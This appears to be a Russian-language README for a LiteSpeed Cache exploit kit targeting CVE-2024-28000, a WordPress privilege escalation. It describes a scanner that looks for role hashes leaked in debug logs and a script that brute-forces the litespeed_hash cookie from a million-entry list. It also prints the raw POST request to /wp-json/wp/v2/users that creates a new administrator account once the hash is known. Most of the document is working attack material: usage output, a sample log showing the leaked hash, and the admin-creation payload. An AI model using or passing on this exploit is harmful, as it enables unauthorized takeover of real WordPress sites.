LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

Этот скрипт сначала определяет версию, проверяет, является ли она уязвимой, затем пытается подтвердить существование log-файла. Если файл существует, он отправляет запрос и снова запрашивает log-файл, пытаясь найти утечку хэша. Если LiteSpeed включил debug, возможно, будет утёк правильный хэш.

usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]

CVE-2024-28000 Scan

optional arguments:
  -h, --help            show this help message and exit
  -f F                  File list
  -t T                  Scan thread
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Пример:

09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS)  /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String: 
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role: 
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init

Если LiteSpeed включил debug, вы можете увидеть журнал, подобный приведённому выше, где pkHrfD является правильным хэшем.

CVE-2024-28000_Exploit.py

Согласно тестам, хэши, сгенерированные Python и PHP, различаются, поэтому список хэшей нельзя сгенерировать с помощью Python. Файл Hash_list.txt содержит 1 000 000 хэшей, сгенерированных PHP, поэтому теоретически для нахождения правильного хэша требуется до 1 000 000 попыток.

usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]

CVE-2024-28000

optional arguments:
  -h, --help            show this help message and exit
  -u U                  url
  -t T                  Scan thread
  -d D                  Dict list
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Параметр -d — это список хэшей, -u — URL, -t — количество потоков (не рекомендуется устанавливать слишком высокое).

Тестирование

На полигоне тестирование показало, что можно успешно перебрать хэш, и после пяти переустановок подтверждено, что хэш находится в сгенерированном списке. Однако с разных точек зрения, практическая эксплуатация имеет низкий процент успеха.
После успешного нахождения правильного хэша можно добавить администратора с помощью следующего пакета данных:

POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=правильный хэш; litespeed_role=1
Content-Length: 122
Content-Type: application/json

{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}

CVE-2024-28000

Популярное

LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

CVE-2024-28000_Exploit.py

Тестирование